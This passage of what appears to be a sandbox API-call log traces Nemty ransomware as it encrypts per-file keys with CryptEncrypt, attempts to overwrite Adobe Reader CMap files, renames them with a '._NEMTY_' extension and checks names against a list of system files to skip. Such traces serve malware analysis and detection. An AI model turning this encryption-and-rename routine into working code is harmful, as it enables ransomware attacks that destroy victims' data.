RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0199.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="gDnLa1Z8JDzPbBDmb4UVtbmrwGmcbm4niEhYHft2Mz31TYK7/c3Gf7bzVqhUXEuU\r\naRtU1jrrgHOS5jk9O53gfs31W6T5T84K6nTHUvMwd5G1ryEb8qWEb83t06Io8QMH\r\nntp3W0yzer8+Pg7HQgZXHBiuAmKMezZGRmXXXkud35G1yMGnFhv0PhKjYUSqPkmM\r\nyMdgCYupCz5IaRMECIc6+pOcSjuWPoz8anG3oSvxoHeoMH+DkKZJpye8huNx/Dfh\r\ndr/LvO1sX5U7se58olRU32QbxQXRTkZVjoxS53KJi7BhV/GVmkbaIQGyTKsp/cku\r\n8aYuUBkUi9QSyWCbJZuKvg==\r\n", pcchString=0x653e91c) returned 1 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0199.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0199.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.538] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0199.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0199.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0199.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0199.644] CloseHandle (hObject=0xffffffff) returned 0 [0199.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0199.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0199.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0199.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0199.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0199.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0199.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0199.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0199.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Mac._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-mac._nemty_kgobjgd_")) returned 0 [0199.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0199.645] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-UCS2", cAlternateFileName="AD0115~1")) returned 1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2=".") returned 1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="..") returned 1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="...") returned 1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="windows") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="rsa") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="NTDETECT.COM") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="ntldr") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="MSDOS.SYS") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="IO.SYS") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="boot.ini") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="boot.ini") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="AUTOEXEC.BAT") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="ntuser.dat") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="desktop.ini") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="CONFIG.SYS") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="RECYCLER") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="BOOTSECT.BAK") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="bootmgr") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="programdata") returned -1 [0199.645] lstrcmpiW (lpString1="Adobe-GB1-UCS2", lpString2="appdata") returned -1 [0199.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-UCS2", lpUsedDefaultChar=0x0) returned 14 [0199.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-UCS2", lpUsedDefaultChar=0x0) returned 14 [0199.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-UCS2", lpUsedDefaultChar=0x0) returned 14 [0199.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0199.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-UCS2", lpUsedDefaultChar=0x0) returned 14 [0199.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0199.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0199.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0199.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0199.646] Sleep (dwMilliseconds=0x5) [0199.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2aa541f0, dwHighDateTime=0x1d561e8)) [0199.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2aa541f0, dwHighDateTime=0x1d561e8)) [0199.647] GetLastError () returned 0x5 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0199.647] GetLastError () returned 0x5 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0199.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0199.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0199.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0199.647] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0199.647] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="8lxYJ1PZcwegP5ZSSKllss//vBfIE1cXRiEzuvXtlUewpKGHSv5p2beO0qZ0DPJW\r\nxPkEoTHQDQ5YmGR2Zjd1JxmHcp5/KdfzzPz31LSyHDPm4OdfA27/1Pxty2FXG4N0\r\nIFQsFKYwlYQyU1vBpTsw0lzun+ZdwRk/5/6lhocxFT1OpgcnqOsnwqxNOo8i4Xs7\r\nPIRfFQtUEKJlaQ2WRgZIya0sgdwduxGCxo4U5WghJPxZA0PTDipM+6XK8lcKzDun\r\nN5FA1QU0KErbDLK9qsytishLh2FhLLEm7yXiWzgIZMRYfTQD578Xp1mbZ2YeMes+\r\npu5PpHWAgLro97pl6ohkIQ==\r\n", pcchString=0x653e91c) returned 1 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0199.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0199.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0199.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0199.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0199.648] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0199.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0199.648] SetFilePointer (in: hFile=0xffffffff, 